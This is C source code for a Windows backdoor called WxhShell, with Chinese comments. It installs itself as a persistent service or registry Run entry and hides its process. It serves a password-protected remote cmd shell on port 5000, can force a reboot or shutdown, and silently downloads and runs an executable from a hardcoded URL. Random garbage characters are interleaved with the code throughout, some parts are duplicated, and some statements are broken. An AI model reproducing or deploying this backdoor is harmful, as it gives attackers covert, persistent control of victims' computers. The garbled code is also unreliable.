BYd%- PROCESS_BASIC_INFORMATION pbi; xA #H0?a] k':s =IXW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >f$NzJ} if(NULL == hInst ) return 0; 9Ejyg* uR_F,Mp?%u g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uPLErO9Es[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m$:&P|!'p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kjE*9bUc Q["t eo]DQ if (!NtQueryInformationProcess) return 0; ehT%s+aUw 7ZsA5%s=, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [s}/nu~U if(!hProcess) return 0; 4pPI'd&/7 e_rzA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S4bBafj[I N4wA#\- CloseHandle(hProcess); =~ jAoOC@ <2<87PU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pbLGe' if(hProcess==NULL) return 0; d~Mg
vh' i_ QcC HMODULE hMod; OCK>%o$[ char procName[255]; pM2a(\K,k^ unsigned long cbNeeded;
zF: j Uu'dv#4Iw if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mQr0sI,o] 8\#
^k#X CloseHandle(hProcess); >emcJVYV`[ *||d\peQ if(strstr(procName,"services")) return 1; // 以服务启动 g_z/{1$ t&}6;z 3 return 0; // 注册表启动 y LM"+.?pL } rMp9jG@3 /;oqf4MF // 主模块 u
#~;&D*q int StartWxhshell(LPSTR lpCmdLine) 5<+KR.W { K5k?H SOCKET wsl; A5nO= BOOL val=TRUE; wa:0X)KC? int port=0; Nfn(Xn*J- struct sockaddr_in door; Ik~1:D]f Fn+?u if(wscfg.ws_autoins) Install(); v}[dnG \#6Fm_b]u port=atoi(lpCmdLine); A-uB\ L 98=la,^$ if(port<=0) port=wscfg.ws_port; ?WFh',`: |vu>;*K WSADATA data; i9m*g*"2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b$-e\XB! 926Tl if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }V`mp setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lZWX7FO' door.sin_family = AF_INET; 8C7Z{@A door.sin_addr.s_addr = inet_addr("127.0.0.1"); jd:B \%#![ door.sin_port = htons(port); Uyx&E?SlEq zp4W'8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '\~^TFi closesocket(wsl); 0LL c 1t>} return 1; Zyye%Ly } 9[Qd)%MO \#,t O%D if(listen(wsl,2) == INVALID_SOCKET) { MGt]' } closesocket(wsl); JTW)*q9a return 1; Q6'nSBi:A_ } lA;a Wxhshell(wsl); uaw < WSACleanup(); @i%YNI5* $nPAm6mH return 0; -iN.Iuc{b_ jH*)%n5,\ } Q8qz*v]{ uk7'K 0j // 以NT服务方式启动 m*e YC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^^Jnv{) { EKZVF`L DWORD status = 0; A6"Hk0Hf DWORD specificError = 0xfffffff; }Je>;{&% #A<P6zJXR serviceStatus.dwServiceType = SERVICE_WIN32; H0*,8i5I serviceStatus.dwCurrentState = SERVICE_START_PENDING; @pza>^wk serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JPx7EEkZR4 serviceStatus.dwWin32ExitCode = 0; ;#k-)m% serviceStatus.dwServiceSpecificExitCode = 0; q/gB<p9 serviceStatus.dwCheckPoint = 0; G/?~\
}:s
serviceStatus.dwWaitHint = 0; " I+p jC, FG'P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |$+5@+Zz if (hServiceStatusHandle==0) return; %NARyz %[QV,fD'E status = GetLastError(); 0 P|&Pq&IH if (status!=NO_ERROR) O'DW5hBL0 { C"w
{\
&R serviceStatus.dwCurrentState = SERVICE_STOPPED; o>lmst%< serviceStatus.dwCheckPoint = 0; !Pj/7JC0 serviceStatus.dwWaitHint = 0; l{WjDed serviceStatus.dwWin32ExitCode = status; A(d5G^ serviceStatus.dwServiceSpecificExitCode = specificError; \nvAa_, SetServiceStatus(hServiceStatusHandle, &serviceStatus); z1V#'$_5- return; E~hzh /,34 } slW3qRT\k T-" I9kM serviceStatus.dwCurrentState = SERVICE_RUNNING; "ZMkL)'7- serviceStatus.dwCheckPoint = 0; ]MTbW=*}ED serviceStatus.dwWaitHint = 0; *nTU#U if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -9Ws=r0R } &h~aChJ MXvXVhCU // 处理NT服务事件,比如:启动、停止 ;%!m<S|%k VOID WINAPI NTServiceHandler(DWORD fdwControl) [rYT { YJF#)TkF switch(fdwControl) !?FK We { 1s7^uA$}6 case SERVICE_CONTROL_STOP: 2k
-+^}r serviceStatus.dwWin32ExitCode = 0; C !x/
^gw serviceStatus.dwCurrentState = SERVICE_STOPPED; E^Gg
'1 serviceStatus.dwCheckPoint = 0; ?.bnIwQe serviceStatus.dwWaitHint = 0; <,1fkq>, { <vc`^Q&4B SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3I=kr } +a+`Z>
return; Ob<W/-%5tH case SERVICE_CONTROL_PAUSE: W{"XJt_ serviceStatus.dwCurrentState = SERVICE_PAUSED; ) g1a'G break; 3Rv7Qx case SERVICE_CONTROL_CONTINUE: x4K`]Fvhl serviceStatus.dwCurrentState = SERVICE_RUNNING; }IkQA#4$ break; HZ"Evl|n case SERVICE_CONTROL_INTERROGATE: f-RK,#^?, break; E;(Rm>lB }; &Ral+J SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;?L\Fz(< } Tupiq (Xxn\*S // 标准应用程序主函数 n&XGBwgW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qvoqx>2p5 { g"8 .}1)~r 0~gO'*2P // 获取操作系统版本 NucM+r1P OsIsNt=GetOsVer(); +|RB0}hFS- GetModuleFileName(NULL,ExeFile,MAX_PATH); f@V3\Z/6E a}nbo4jK // 从命令行安装 7v"lNP-?jU if(strpbrk(lpCmdLine,"iI")) Install(); O>0VTW `)>7)={ // 下载执行文件 :
mGAt[Cc if(wscfg.ws_downexe) { UVuDQ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DPHQ,dkp WinExec(wscfg.ws_filenam,SW_HIDE); ^>$P)=O:v } ]F*3"y?)2 <,%:
if(!OsIsNt) { `iG,H[t+j // 如果时win9x,隐藏进程并且设置为注册表启动 VM=+afY5M HideProc(); D&:yMp( StartWxhshell(lpCmdLine); o4^Fo p } yX/";Oe
else NYB[Zyp if(StartFromService()) 12`_;[37 // 以服务方式启动 '3(l-nPiG^ StartServiceCtrlDispatcher(DispatchTable); 'ktHPn
,K else \x\
5D^Vc // 普通方式启动 MBr:?PE7 StartWxhshell(lpCmdLine); pd@; b5T *TdnB'Gd return 0; <9A@`_';Aq } j .A6S` <fO4{k*& _%@=Uc6V x%>
e)L< =========================================== 90N`CXas mj,fp2D;% '?*g%Yuz j
-O2aL KpiF0K 9h,u6e " 5_o$<\I\ ./-JbW
#include <stdio.h> deX5yrvOie #include <string.h> )h$NS2B` #include <windows.h> Vd9@Dy #include <winsock2.h> <eN R8(P #include <winsvc.h> 2ef;NC.&n #include <urlmon.h> ik,lSTBD in%;Eqk #pragma comment (lib, "Ws2_32.lib") ]gb= #pragma comment (lib, "urlmon.lib") S[:xqzyDg irBDGT~ #define MAX_USER 100 // 最大客户端连接数 g^>#^rLU #define BUF_SOCK 200 // sock buffer v Y|! #define KEY_BUFF 255 // 输入 buffer GR4?BuY, H^%.=kf #define REBOOT 0 // 重启 -`c:}m #define SHUTDOWN 1 // 关机 Ju` [m kAzd8nJ' #define DEF_PORT 5000 // 监听端口 } /^C|iS7
q" @ #define REG_LEN 16 // 注册表键长度 `cB_.& #define SVC_LEN 80 // NT服务名长度 748CD{KxW V,7%1TZ: // 从dll定义API mz7l'4']+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wwd'0P`/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S5=Udd" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4N?v
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I?!rOU=0
- 0HkT Y // wxhshell配置信息 5ua?I9fY struct WSCFG { ,5k-.Md>2* int ws_port; // 监听端口 (X[2TT3j! char ws_passstr[REG_LEN]; // 口令 [\ )Ge int ws_autoins; // 安装标记, 1=yes 0=no ffDc6*.Q char ws_regname[REG_LEN]; // 注册表键名 q`|CrOzO char ws_svcname[REG_LEN]; // 服务名 < a rZbM char ws_svcdisp[SVC_LEN]; // 服务显示名 &x:JD1T} char ws_svcdesc[SVC_LEN]; // 服务描述信息 ztM<J+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:S
%lv int ws_downexe; // 下载执行标记, 1=yes 0=no @!tVr3;N$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9L eNe}9v char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #TJk-1XM*q m@xi0t }; J QKdW V2&^!#=s
// default Wxhshell configuration dG'SZ&<
struct WSCFG wscfg={DEF_PORT, **_&i!dtL "xuhuanlingzhe", ")#<y@Rv 1, qB6dFl\ ( "Wxhshell", <|6%9@ "Wxhshell", 0&Gl@4oZ" "WxhShell Service", E;\M1(\u "Wrsky Windows CmdShell Service", y&T&1o "Please Input Your Password: ", (g8*d^u#PO 1, tl8O6`<Z "http://www.wrsky.com/wxhshell.exe", +RZ~LA\+ "Wxhshell.exe" [G|mY6F^ }; Y#V8(DTyH P<dy3; // 消息定义模块 !4#"!Md4o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DtCEm(b0 char *msg_ws_prompt="\n\r? for help\n\r#>"; 8pZ<9t' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t@zdmy char *msg_ws_ext="\n\rExit."; 'w/qcD- char *msg_ws_end="\n\rQuit."; "`tXA char *msg_ws_boot="\n\rReboot..."; 0Dv JZ|e char *msg_ws_poff="\n\rShutdown..."; !-]C;9Zd char *msg_ws_down="\n\rSave to "; P8yIegPY nn~YK char *msg_ws_err="\n\rErr!"; C"<s/h char *msg_ws_ok="\n\rOK!"; TvhJVVQ+? N0TeqOi4Y char ExeFile[MAX_PATH]; Iq5pAHm>M6 int nUser = 0; b}z`BRCc HANDLE handles[MAX_USER]; RNJFSD. int OsIsNt; Va<HU:< jRZ%}KX SERVICE_STATUS serviceStatus; 0NE{8O0;Fr SERVICE_STATUS_HANDLE hServiceStatusHandle; ~ 9o6 W", lPq\=V // 函数声明 oY9FK{ int Install(void); ;6;H*Y0,|E int Uninstall(void); P~$<X int DownloadFile(char *sURL, SOCKET wsh); *MM#Z?mP int Boot(int flag); :>
-1'HC void HideProc(void); nL`9l1 int GetOsVer(void); I`B'1"{ int Wxhshell(SOCKET wsl); 0~A#>R' void TalkWithClient(void *cs); eb:A1f4L int CmdShell(SOCKET sock); <>&=n+i int StartFromService(void); H?rg5TI0 int StartWxhshell(LPSTR lpCmdLine); L&2u[ml fjz) Gp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <lwuTow VOID WINAPI NTServiceHandler( DWORD fdwControl ); %IZ)3x3l
%uDG75KP{ // 数据结构和表定义 Gm8E<iTP SERVICE_TABLE_ENTRY DispatchTable[] = pK_?}~ { TR vZ {wscfg.ws_svcname, NTServiceMain}, cgZaPw2
bw {NULL, NULL} D@54QJ< }; J\co1kO9/ iw]k5<qKj // 自我安装 f[~1<;|- int Install(void) -E>)j\{PX7 { A*]$v char svExeFile[MAX_PATH]; HOW7cV'X HKEY key; o
\L!(hm strcpy(svExeFile,ExeFile); wrv5V M} 6vs3O
// 如果是win9x系统,修改注册表设为自启动 `aSM8C\ if(!OsIsNt) { loOOmHhJ& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P_4DGW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lubrn"128 RegCloseKey(key); cnNOZ$) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UPh=+s #Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4iX-( ir, RegCloseKey(key); je%M AgW` return 0; P~7.sM } H[&@}v,L } j~av\SCU* } VV3}]GjC else { i.a _C'<$ 7nE"F!d+0 // 如果是NT以上系统,安装为系统服务 f05d ; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b)}+>Wx if (schSCManager!=0) 4MvC]_& { Ej(2w Q SC_HANDLE schService = CreateService v548ysE) ( 5G*II_j schSCManager,
P'[<AZ wscfg.ws_svcname, m#@_8_ M wscfg.ws_svcdisp, hl/itSl$ SERVICE_ALL_ACCESS, w9~k]5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RI.2F*| SERVICE_AUTO_START, bH9Le SERVICE_ERROR_NORMAL, 6].:.b\qQc svExeFile, !$xu(D. NULL, Eu<r$6Q0}o NULL, {w5Z7s0 NULL, vgG}d8MW37 NULL, ;)/@Xx NULL J\`^:tcG ); V'wi ^gq if (schService!=0) K&`Awv { ohZx03 CloseServiceHandle(schService); }[=YU%[o: CloseServiceHandle(schSCManager); ej[S u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W'$kZ/%[ strcat(svExeFile,wscfg.ws_svcname); Uene=Q6> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S`g;Y
' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <|F-Dd RegCloseKey(key); kq/u,16@ return 0; @6MAX" } %v=!'?VT } #+jUhxq CloseServiceHandle(schSCManager); zJl_ t0 } -Zy)5NB-tZ } o:\XRPB x-Z^Q C return 1; c ~Kc7}I } \ lr/;-zP __\P`S_ // 自我卸载 h7W}OF_=y int Uninstall(void) 3E|;r
_;
8 { Wc4vCVw HKEY key; wq\G|/% \r-N(;m if(!OsIsNt) { U ":"geU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !#}>Hv^N RegDeleteValue(key,wscfg.ws_regname); )U98 RegCloseKey(key); aqL<v94wX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YKx 1NC RegDeleteValue(key,wscfg.ws_regname); L3c*LL RegCloseKey(key); d6b.zP return 0; uQp_':\k } -u6#-}S } /bcY6b=: } eE3-t/= else { @YZ
4AC .E<Dz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +TX/g~ if (schSCManager!=0) "iek,Y}j7 { >>V&yJ_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); > V%Q O>C if (schService!=0) h6QWH { <94WZ?{p if(DeleteService(schService)!=0) { |5ONFde"0 CloseServiceHandle(schService); FdxsUDL CloseServiceHandle(schSCManager); &o.iUk return 0; otq,R6 ^ } l9Pu&M?5 CloseServiceHandle(schService); In(NF# } Mq+<mX7 CloseServiceHandle(schSCManager); Bl4 dhBZoO } fN[n>%)VO< } pGkef0p@ 9ECS,r*B return 1; 0vckoE } _S5gcPcF" V/-MIH7SF // 从指定url下载文件 -1m vhR~ int DownloadFile(char *sURL, SOCKET wsh) d}% (jJ(I { w2Kq(^? HRESULT hr; lU$X4JBzS char seps[]= "/"; [4gjC
char *token; IwRQL% char *file; 1v]t!}W:6 char myURL[MAX_PATH]; NbDda/7ki char myFILE[MAX_PATH]; yWuIu>VJ 6Ct0hk4 strcpy(myURL,sURL); G"Pj6QUva token=strtok(myURL,seps); _3&/(B%H while(token!=NULL) :uvc\|:s { gz\j('~-D file=token; 8p,>y(o token=strtok(NULL,seps); XGk}e4;_ } Fwv\ pJ}$ y:9?P~ GetCurrentDirectory(MAX_PATH,myFILE); vU9ek:.l strcat(myFILE, "\\"); uu@<&.r\C strcat(myFILE, file); s01$fFJgO send(wsh,myFILE,strlen(myFILE),0); BHclUwj send(wsh,"...",3,0); RAOKZ~` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3_U\VGm if(hr==S_OK) enPYj.*/0 return 0; Hdna{@~ else sH@ &* return 1; U,HS;wo;t 6vWii)O.D } s((b"{fFb hU+#S(t>b // 系统电源模块 >3$uu+p1F int Boot(int flag) )|:8zDuJ { @?M;'xMbB HANDLE hToken; 40+fGRyOL TOKEN_PRIVILEGES tkp; ](n69XX_ !ABLd|tP if(OsIsNt) { un&> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dcP88!#5- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w= B tkp.PrivilegeCount = 1; cf&C|U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )BpIxWd? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vVdxi9yk if(flag==REBOOT) { _KxX&THaj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ku-cn2M/ return 0; {[lx!QF 8& } V^WQ6G1 else { %|bN@@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7_7xL(F/ return 0; 9JXhHAxD } BArJ"t*/z } wRj~Qv~E else { *Ji9%IA if(flag==REBOOT) { =x oBC&u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
HFv?s return 0; u{pTva } d4V 2[TX else { 3U>S]#5} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H!#5!m& return 0; A` =]RJ } %'kX"}N/ } epYj+T +O,V6XRr return 1; yq!CWXZ2 } [e1\A&T #yX^?+Rc // win9x进程隐藏模块 do*Wx2:R void HideProc(void) $Q#?`j { 37~rm ^Jn|*?+l HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <G&WYk%u* if ( hKernel != NULL ) ~V!EtZG$ { v(a9#bMZU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Le_CIk 5YL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Od*v5qT;$ FreeLibrary(hKernel); P mC82" } 83B\+]{hD v F] return; tI
`w;e%HN } Re7{[*Q4 +6uOg,; // 获取操作系统版本 }@3$)L%n_u int GetOsVer(void) +OKA_b"wB { 1RmBtx\< OSVERSIONINFO winfo; ^sJ1 ^LT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2k%Bl+I GetVersionEx(&winfo); +7`u9j. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l;XUh9RF`A return 1; TjT](?'o else
I8:"h return 0; "[Yip5 } N4'
.a=1 rffVfw // 客户端句柄模块 z/pDOP Ku int Wxhshell(SOCKET wsl) Xx=K?Z?3. { F=:F>6` SOCKET wsh; W&Y4Dq^ struct sockaddr_in client; /95FDk> DWORD myID; G &m>Ov$#& [;)~nPjI while(nUser<MAX_USER) :U7;M}0 { fQ^h{n int nSize=sizeof(client); imC&pPBB/G wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :m)c[q8 if(wsh==INVALID_SOCKET) return 1; UzXDi#Ky *
.oi3m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \%Pma8&d if(handles[nUser]==0) R%Kl&c closesocket(wsh); |.^^|@+ else FLw[Mg:L nUser++; AsV8k_qZL } [ e$]pN% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XA=|]5C mI2|0RWI)l return 0; 0m
qSA } rHH#@Zx Kw)C{L5a // 关闭 socket w;@`Yi.WQ void CloseIt(SOCKET wsh) BASO$?jf4 { $[WN[J closesocket(wsh); Ufyxw5u5F nUser--; Z?vY3) ExitThread(0); lv*Wnn@k } 4KN0i A;K{ &x // 客户端请求句柄 ':5U& void TalkWithClient(void *cs) tW'qO:y+ { IO?~b X P ,"4X&>_f SOCKET wsh=(SOCKET)cs; bfcD5:q char pwd[SVC_LEN]; PGC07U:B char cmd[KEY_BUFF]; <!$j9) ~x char chr[1]; 0]f?Dx/8 int i,j; {6REfY
c @`#OC# while (nUser < MAX_USER) { P1M|f4* +:j4G^ V if(wscfg.ws_passstr) { fo/(() if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qg/Y;tGSx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pmE1EDPag //ZeroMemory(pwd,KEY_BUFF); Nj! R9N i=0; ZYpD8u6U while(i<SVC_LEN) { h+\$Z] Ke'YM{ // 设置超时 EfMG(oI fd_set FdRead; H{p[Ghp struct timeval TimeOut; ',v0vyO8 FD_ZERO(&FdRead); 1KfJl S+ FD_SET(wsh,&FdRead); So3,Z'z= TimeOut.tv_sec=8; 9&?tQ"@x TimeOut.tv_usec=0; $\=6."R5< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6'3Ey'drH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f?oI'5R41 r-Xjy*T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wFH(.E0@Q pwd=chr[0]; #CBo if(chr[0]==0xd || chr[0]==0xa) { +LvZ87O^~ pwd=0; @5uyUSt] break; >QbI)if`1 } .>cL/KaP i++; lUm}nsp=X } lW@:q04Z$ #==[RNM%ap // 如果是非法用户,关闭 socket `qQQQ.K7)z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +#2@G}j } y2d_b/ Tg}H < T send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '8iv?D5 M send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Kqj{/SWK J[Y lo&w3 while(1) { s?z=q%-p oWn_3gzw; ZeroMemory(cmd,KEY_BUFF); D0"yZp} [9# #Kb // 自动支持客户端 telnet标准 -bG#h)yj j=0; $txWVjR?\ while(j<KEY_BUFF) { )Q N=>J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DXw9@b cmd[j]=chr[0]; }sm56}_ if(chr[0]==0xa || chr[0]==0xd) { 3n=cw2FG cmd[j]=0; c'VtRE# z~ break; p5D3J[?N }
s2
t-T0; j++; NC#kI3 { } 2T{-J!k 0bRkC,N
( // 下载文件 1[,#@!k@ if(strstr(cmd,"http://")) { R _~m\P send(wsh,msg_ws_down,strlen(msg_ws_down),0); YQw/[ if(DownloadFile(cmd,wsh)) LP-KD send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*@~HF,t= else Yqj.z| }Nb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
\1c`) } `dq3= else { 4h0jX9 m0q`A5!) switch(cmd[0]) { W.7d{
@n TPmZ/c^ // 帮助 ~N+/ZVo&y case '?': { XzTH,7[n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =.3P)gY) break; _s#/f5<:B } LKwUpu! // 安装 &t@6qi`d case 'i': { 8aIq#v if(Install()) jL[Is2<@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Bc<u[G else 9h{:!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$wPq@ break; u{dN>}{ } R,b O{2O // 卸载 TW;;OS[ case 'r': { (Os
OPTp if(Uninstall()) 7Q4PjcD send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?ed.V@E5 else [Z`:1_^0} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'V*M_o(\ break; hSf#;=9' } d$C|hT // 显示 wxhshell 所在路径 xWI 0s;k case 'p': { s9Q)6=mE char svExeFile[MAX_PATH]; %BP)m(S7 strcpy(svExeFile,"\n\r"); ^zs4tCW % strcat(svExeFile,ExeFile); e"8m+] send(wsh,svExeFile,strlen(svExeFile),0); %l$&_xV- break; (YWc%f4 } -X[8 soz // 重启 kl<B*:RqH case 'b': { R S_lQ{' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I4DlEX if(Boot(REBOOT)) 7)5$1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }R] }@i~i else { JV*,!5 closesocket(wsh); EG:WE^4 ExitThread(0); hF%~iqd } B*~Bm. break; !-}*jm p< } UK9MWC5g9 // 关机 o[+|n[aT)3 case 'd': { 9;WOqBD send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :FgRe,D if(Boot(SHUTDOWN)) ,0u0 ' send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@RA1&c else { CjukD%>sde closesocket(wsh); oL/^[TXjH ExitThread(0); .mU.eLM } NGeeD?2~ break; r H_:7#.E } Ej3hdi) // 获取shell 8t
35j case 's': { u$ / ]59 CmdShell(wsh); jtOsb91c} closesocket(wsh); zbKW.u]v ExitThread(0); (6y3"cbe break; mZJzBYM) } 3e<^-e)+xL // 退出 QZq9$;>dW case 'x': { bB:X< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [";5s&)q CloseIt(wsh); .F$AmVTN break; $Lbe5d?\ } 8qLgB
// 离开 _+Kt=;Y8 case 'q': { >u[1v send(wsh,msg_ws_end,strlen(msg_ws_end),0); $%"}N_M closesocket(wsh); N5_.m(: WSACleanup(); 6&Ir0K/ exit(1); Tsp-]-) break; }EG(!)u } p5rRhu/|k3 } 4E(5Ccb } \@t5S "$V2 $ // 提示信息 MOeLphY if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hd
BC ^n } A0k>Nb\c3 } g>-[-z$E3 *^5,7}9Qo return; .qPfi]
ty } nAC#_\ ASU\O3%% // shell模块句柄 n\p\*wb int CmdShell(SOCKET sock) 491I { WQC6{^/4[1 STARTUPINFO si; Qg.:w ZeroMemory(&si,sizeof(si)); +B|X
k[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; beR)8sC3q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =8D4:Ds PROCESS_INFORMATION ProcessInfo; YfU#kvE' char cmdline[]="cmd"; k0uwG'(z9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +E[)@;T return 0; w[G_ w:$a } Z69IHA[ bbkI}d%(Ng // 自身启动模式 WYzaD} int StartFromService(void) fb;"J+ { |;-r}; typedef struct L2$L.@ { D*Q#G/TF3 DWORD ExitStatus; /8HO7E+5 DWORD PebBaseAddress; ~8{3Fc 0 DWORD AffinityMask; bD-Em#> DWORD BasePriority; <\EfG:e ULONG UniqueProcessId; GLF"`M /g ULONG InheritedFromUniqueProcessId; -ix1<e } PROCESS_BASIC_INFORMATION; itgO#(g$Q sZDJ+ PROCNTQSIP NtQueryInformationProcess; j'x{j %U >7q,[:(gs static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1*CWHs static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K7VG\Ec V gk,+l!4 HANDLE hProcess; HwuPjc# PROCESS_BASIC_INFORMATION pbi; W-QPO X5<.%@Z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 93DBZqN if(NULL == hInst ) return 0; B'/ >Ax& 0.0!5D[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1hS~!r'qqv g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x@}Fn:c!5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,O!aRvzap EQ$9IaY. if (!NtQueryInformationProcess) return 0; <]^D({` L:Eb(z/D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !17Z\Ltqyj if(!hProcess) return 0; ybO,~TQ .Y.#
